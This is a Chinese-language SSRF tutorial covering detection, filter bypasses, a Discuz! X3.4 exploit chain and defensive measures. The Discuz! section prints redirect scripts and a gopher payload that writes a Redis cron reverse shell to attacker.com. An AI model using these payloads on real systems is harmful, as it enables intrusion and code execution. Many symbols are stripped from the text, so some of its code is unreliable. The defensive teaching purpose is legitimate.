第1章. SSRF漏洞基础理论1.1 什么是SSRFSSRFServer-Side Request Forgery服务器端请求伪造是一种由攻击者构造请求由服务端发起请求的安全漏洞。通常情况下SSRF攻击的目标是从外网无法访问的内部系统[cit 。核心概念解析攻击者无法直接访问内网资源。服务器目标能够访问内网且存在SSRF漏洞。漏洞利用攻击者将服务器的资源权限、网络位置作为“跳板”向内网或其他受限资源发起请求。1.2 漏洞产生的根本原因SSRF漏洞的根本原因在于服务器提供了从外部获取远程资源的功能但未对用户提供的URL进行严格的验证和过滤。常见的易出现SSRF的业务场景图片加载与下载用户提交一个图片URL服务器下载该图片如头像上传、社交分享链接预览。Webhook功能用户填写一个回调URL服务器向该URL发送通知。文件处理通过URL处理文件如导入XML可能包含外部实体。数据库内置功能如PostgreSQL、MongoDB等提供的数据库外部数据连接功能。在线翻译/地图翻译网页内容或加载第三方地图资源。1.3 SSRF攻击的危害SSRF的危害程度取决于后端服务器的网络隔离强度以及漏洞本身的可控性内网资产探测与端口扫描攻击者可以利用漏洞对内部网络的IP和端口进行存活探测判断内网拓扑结构和服务开放情况。敏感信息泄露云主机元数据在AWS、阿里云等云环境中通过请求http://169.254.169.254/latest/meta-data/获取主机IAM临时凭证、密钥对等敏感信息这是SSRF攻击中最致命的一种场景。本地文件读取如果支持file://协议可直接读取服务器本地文件如/etc/passwd、Web源码。内网应用攻击利用SSRF作为跳板攻击内网中的Redis、MySQL、Elasticsearch、Hadoop等脆弱应用甚至实现远程代码执行RCE。绕过访问控制绕过IP白名单限制访问本应禁止的外部资源或管理后台。第2章. SSRF攻击技术实战指南本章将从实战角度出发详细介绍SSRF的发现、利用及绕过技术。2.1 SSRF漏洞的发现与确认2.1.1 寻找攻击面在渗透测试中需要重点关注Web应用中存在请求远程资源的参数常见参数名有?url,?path,?dest,?out,?view,?dir,?show,?file,?load,?uri,?data2.1.2 基础验证方法最简单的验证方法是使用Burp Suite拦截请求修改URL参数指向自己控制的服务器如VPS。攻击者服务器监听bashnc -lvnp 8000构造恶意请求httpPOST /check_availability HTTP/1.1 Host: target.com ... dateserverhttp://[攻击者IP]:8000如果在监听端接收到了来自目标服务器的请求则证明存在SSRF漏洞。2.2 内网资产探测与端口扫描在确认漏洞存在后攻击者通常首先对内网进行探测。2.2.1 探测存活主机将请求地址指向内网IP段如http://192.168.1.1。根据响应时间、错误信息或响应内容判断该IP是否存活。2.2.2 端口扫描通过尝试连接内网主机的不同端口根据返回的响应特征判断端口开放情况。端口状态判断方法端口开放返回200 OK或包含特定服务的Banner信息。端口关闭返回超时、Connection Refused错误或500 Internal Server Error。自动化扫描使用ffufbashseq 1 10000 ports.txt ffuf -w ./ports.txt -u http://target.com/ssrf -X POST -d urlhttp://127.0.0.1:FUZZ/ -fr Failed to connect2.3 云环境元数据信息窃取这是SSRF最严重危害之一。攻击者利用SSRF请求云服务商提供的特殊元数据地址。AWShttp://169.254.169.254/latest/meta-data/- 进一步访问/iam/security-credentials/rolename/获取临时凭证。Google Cloudhttp://metadata.google.internal/computeMetadata/v1/阿里云http://100.100.100.200/latest/meta-data/Azurehttp://169.254.169.254/metadata/instance?api-version2017-08-292.4 利用Gopher协议扩展攻击面当SSRF支持gopher://协议时其攻击力将成倍提升。gopher协议是一种信息查找系统它可以向指定IP和端口的TCP服务发送任意格式的数据流这使得攻击者可以像与服务交互一样发送恶意Payload。2.4.1 攻击Redis未授权访问Redis通常运行在内网且很多配置为无密码。利用Gopher可以向Redis发送命令写入Crontab反弹Shell或写入SSH公钥。2.4.2 攻击MySQL向MySQL的3306端口发送构造的认证和查询数据包。2.4.3 攻击FastCGI如果内网有PHP-FPM服务可以通过构造FastCGI协议数据包实现任意代码执行。2.5 绕过SSRF防御措施的艺术许多应用会采取一定的防护措施但往往可以被绕过。2.5.1 基于IP限制的绕过如果后端禁止了127.0.0.1或192.168.x.x可以使用以下技巧域名解析将域名指向内网IPlocaltest.me解析为127.0.0.1。URL格式变形十进制IP2130706433代表127.0.0.1。八进制IP0177.0.0.01。十六进制IP0x7f.0x0.0x0.0x1。省略写法127.0.1等同于127.0.0.1。使用Enclosed alphanumericsⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ。2.5.2 基于域名白名单的绕过如果后端只允许白名单域名如images.example.com可尝试利用子域名images.example.com.attack.com。利用URL解析差异http://expected.comevil.com使用符号。利用协议混淆http://evil.com#expected.com。2.5.3 利用302跳转这是最经典的绕过方式之一。如果后端只校验了第一次请求的URL是合法的如图片域名攻击者可以在自己的服务器上搭建一个返回302跳转的页面跳转目标指向内网IP。攻击者服务器index.php内容php?php header(Location: http://169.254.169.254/latest/meta-data/); ?SSRF请求http://attacker.com/index.php。第3章. 经典案例实战Discuz! X3.4 前台SSRF漏洞深度剖析理论结合实践我们通过分析2018年披露的经典Discuz! X3.4前台SSRF漏洞CVE-2018-19461来深入理解漏洞从产生到利用的完整链条。3.1 漏洞概述漏洞名称Discuz! X3.4 前台SSRF漏洞影响范围Git版本小于41eb5bb0a3a7且PHP版本5.3且php-curl版本7.54且运行在80端口的Discuz。漏洞文件/source/module/misc/misc_imgcropper.php漏洞特点未授权、前台触发。3.2 环境搭建与漏洞复现3.2.1 环境准备靶机Windows/Linux, Apache, PHP 7.0, Discuz X3.4 (存在漏洞的commit:a5c1b95dc4464ee3da0ebd4655d30867f85d6ae9)。攻击机Kali Linux (IP: 172.16.4.128)用于搭建跳转服务器。内网目标假设存在内网Redis服务器(172.16.4.159:6379)。3.2.2 复现步骤Step 1获取必要的Token访问论坛首页进入个人中心或随便访问一个需要交互的页面如home.php?modspacecpacpm获取formhash值。这是Discuz防止CSRF的令牌很多表单提交都需要它。Step 2构造攻击URL我们需要访问裁切图片的接口。关键参数是cutimg和picflag。picflag2告诉程序图片位于远程FTP服务器。cutimg本来应该是FTP上的图片路径但这里被我们控制。Step 3发起首次请求访问构造好的URL需包含formhashtexthttp://172.16.4.159/upload/misc.php?modimgcropperpicflag2imgcroppersubmit1cutimg//攻击者IP:80/..//upload/member.php%3fmod%3dlogging%26action%3dlogout%26referer%3d//c%2523%2540内网目标IP%26quickforward%3d1formhash[formhash]此处的cutimg内容看起来复杂其核心是希望服务器最终请求到攻击者IP并且携带一个精心构造的referer参数。3.3 代码审计——漏洞成因分析接下来我们从源代码层面解析为什么这个请求能奏效。3.3.1 漏洞起点misc_imgcropper.php漏洞位于source/module/misc/misc_imgcropper.php的第50行左右。php// 截取关键代码 if($_GET[picflag] 2) { $prefix $_G[setting][ftp][attachurl]; // 这里获取FTP附件URL前缀 } else { $prefix $_G[setting][attachurl]; } // 直接将用户输入的cutimg拼接在prefix后面没有任何过滤 $imgurl $prefix.$_GET[cutimg];当picflag2时$prefix通常是根目录/。此时$imgurl就变成了//攻击者IP/...的格式。3.3.2 核心函数dfsockopenImageCropper类在处理图片时会调用dfsockopen函数来获取远程图片内容。php// 进入Thumb方法最终调用到 dfsockopen function dfsockopen($url, ...) { // ... 省略 $parse parse_url($url); // 尝试解析URL if(!$parse) { // 如果parse失败尝试补全协议 $url http:// . $url; $parse parse_url($url); } // ... 后续使用curl或fsockopen发起请求 }对于//攻击者IP/...这样的URLparse_url能够成功解析出host为攻击者IP因此程序会认为这是一个合法的远程URL并对其发起请求。3.3.3 漏洞链的关键跳转现在服务器向攻击者IP发起了请求但请求的是/..//upload/member.php?...。攻击者需要在自己的服务器上配置好路由让这个请求能够被正确处理。攻击者服务器的upload/member.php内容php?php // 这个文件的作用就是获取请求中的referer参数并进行302跳转 $referer $_GET[referer]; // 这里获取到的是 //c%23%40内网目标IP header(Location: . $referer); // 直接跳转服务器收到了请求发现member.php?modloggingactionlogoutreferer//c%23%40172.16.4.159它会执行dreferer函数进行跳转。3.3.4 解析差异导致的绕过关键点来了Discuz的dreferer函数会对跳转的URL进行安全检查防止任意URL跳转漏洞。简化的安全逻辑获取referer参数值//c#172.16.4.159。使用parse_url解析该URL。检查解析出的host域名是否合法是否属于本站域名白名单。parse_url解析结果scheme: null (因为没有协议头)host:cparse_url认为这个地址的host是c因为#是锚点是用户信息分隔符但在没有协议的情况下parse_url的处理会混乱最终认定host是c。curl请求时的解析当curl真的去请求//c#172.16.4.159这个地址时它的解析规则与parse_url不同。它会认为这是在请求主机172.16.4.159路径是/用户名是c密码是空。由于parse_url解析出的host是cc显然不在站点的域名白名单中但它也没有点.。php$domainroot substr($reurl[host], strpos($reurl[host], .)1); // host是c没有.strpos返回falsesubstr返回空字符串结果$domainroot是空字符串。后续的检查发现$domainroot不在域名根白名单中时空字符串的检查结果为false导致最终没有覆盖$_G[referer]。因此dreferer函数返回了未经修改的恶意URL//c#172.16.4.159。3.4 深度利用从SSRF到内网Redis入侵现在Discuz服务器被302跳转引导去请求//c#172.16.4.159实际目标为172.16.4.159:80。但这仅仅是到达了内网主机的80端口。如果目标内网主机172.16.4.159开放的是Redis服务6379我们该怎么办3.4.1 二次跳转——协议转换这里就需要第一次提到的攻击者服务器进行二次跳转。攻击流程改造SSRF入口请求指向攻击者服务器member.php但referer参数指向攻击者的另一个跳转脚本例如ssrf.php。textcutimg//attacker.com/member.php?refererhttp://attacker.com/ssrf.php%3ftarget172.16.4.159第一跳member.php302跳转到http://attacker.com/ssrf.php?target172.16.4.159。第二跳ssrf.php——关键跳板php?php // ssrf.php 内容 $target $_GET[target]; // 172.16.4.159 // 构造Gopher协议Payload目的是向Redis写Cron任务 $gopher_payload urlencode(*3\r\n$3\r\nset\r\n$4\r\nkey1\r\n$64\r\n\n\n\n*/1 * * * * bash -i /dev/tcp/attacker.com/4444 01\n\n\n\r\n*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$3\r\ndir\r\n$16\r\n/var/spool/cron/\r\n*4\r\n$6\r\nconfig\r\n$3\r\nset\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\n*3\r\n$5\r\nsave\r\n); $full_url gopher:// . $target . :6379/_ . $gopher_payload; header(Location: . $full_url); ?最终攻击Discuz服务器跟随第二次302跳转向172.16.4.159的6379端口发送了Gopher协议数据包。该数据包被Redis解析执行向Crontab中写入了一条反弹Shell的任务。通过这种层层递进的跳转方式攻击者将一个HTTP协议的SSRF漏洞成功转化为针对内网非HTTP服务Redis的攻击最终实现了远程代码执行。第4章. 企业级SSRF漏洞防御体系构建了解攻击是为了更好地防御。企业应从代码、网络、云环境等多个层面构建纵深防御体系。4.1 代码层防御4.1.1 严格输入校验——白名单为王不要试图通过黑名单禁止127.0.0.1等来防御因为总有绕过方法。应使用白名单机制。协议白名单如果业务只需要HTTP则只允许http://和https://。坚决禁止file://,gopher://,dict://等危险协议。域名/IP白名单如果业务只需要访问特定域名如images.cdn.com则直接解析出域名并校验其是否在允许的列表中。4.1.2 URL解析规范化由于URL解析库之间的差异是绕过的主要手段应在代码中对用户输入的URL进行多重解析和校验。先使用parse_urlPHP等函数解析。对URL进行标准化防止利用..或//绕过。对最终要发起请求的IP进行校验确保不是内网IPRFC 1918、回环地址127.0.0.0/8、链路本地地址169.254.0.0/16等。4.1.3 禁用不必要的Follow跳转如果业务不需要跟随跳转获取最终资源应在发起请求的库中禁用follow_location。这能有效阻断通过302跳转进行的协议转换和IP绕过。4.2 网络层防御4.2.1 网络隔离在架构上Web应用所在的网络区域DMZ区应严格与核心内网区隔离。Web服务器不应具备直接访问内网管理后台、数据库服务器除非业务必须、缓存服务器如Redis的权限。4.2.2 出站流量控制在防火墙上或主机层面的安全组上配置严格的出站规则。默认拒绝配置防火墙策略默认为“出站拒绝”。白名单放行只允许Web服务器访问特定的外网IP/域名如业务需要调用的API。禁止其访问所有内网IP段。云上安全组在云环境中为Web服务器所在的安全组添加一条出站规则禁止访问169.254.169.254元数据服务器IP。4.3 云环境特定防护4.3.1 启用IMDSv2在AWS中默认的元数据服务是IMDSv1直接通过HTTP GET请求即可获取。IMDSv2 引入了会话控制要求先通过PUT请求获取Token再携带Token进行GET请求这能有效防御简单的SSRF攻击。4.3.2 使用元数据访问限制工具一些云服务商提供了额外的安全工具来限制对元数据服务的访问例如AWS的Metadata Access限制。4.4 应用安全与运维管理4.4.1 使用专业的Web应用防火墙WAFWAF能够检测并拦截常见的SSRF攻击Payload。例如Hostease提供的WAF方案可以识别出请求中的内网IP、元数据IP以及Gopher等危险协议并进行拦截。4.4.2 漏洞扫描与组件更新定期对应用进行安全扫描特别是针对使用的开源框架和CMS如Discuz!、XXL-JOB等。对于XXL-JOB这类存在历史SSRF漏洞的组件应及时升级到修复后的版本。Discuz!官方早已在Git中修复了该SSRF漏洞管理员应及时git pull更新代码。4.4.3 最小权限原则运行Web服务的用户应使用低权限用户如www-data不要使用root权限运行。即使SSRF漏洞配合其他漏洞实现了RCE低权限也能极大地限制攻击者的破坏范围。第5章. SSRF漏洞的自动化检测与监控5.1 基于ASPM的漏洞管理ASPM应用安全性能管理工具可以在运行时动态监测应用行为。例如听云ASPM当应用因SSRF漏洞发起恶意请求时ASPM可以记录完整的调用链和堆栈信息帮助开发人员快速定位漏洞代码位置并提供修复建议。5.2 日志监控与告警在运维侧应重点关注服务器的access.log和error.log。如果发现大量向169.254.169.254或内网IP段发起的请求应立即告警并排查。bash# 简单的日志排查命令 grep 169\.254\.169\.254 /var/log/nginx/access.log总结SSRF漏洞是OWASP Top 10中的常客其危害性随着企业上云而愈发严重。本文从SSRF的基础原理出发深入探讨了探测、利用、绕过等实战技术并以Discuz! X3.4前台SSRF漏洞为案例通过代码审计的方式剖析了漏洞成因及利用链的构造过程。通过这个案例可以看出一个看似不起眼的“获取远程图片”功能结合URL解析差异、302跳转、Gopher协议足以撬动整个内网的安全防线。对于防御者而言单一的安全措施往往难以奏效必须构建“代码网络运行时”的纵深防御体系。在代码层面实施严格的白名单校验在网络层面进行精细化的出站控制在云环境层面强化元数据服务防护并辅以专业的WAF和ASPM工具才能最大程度地降低SSRF漏洞带来的安全风险。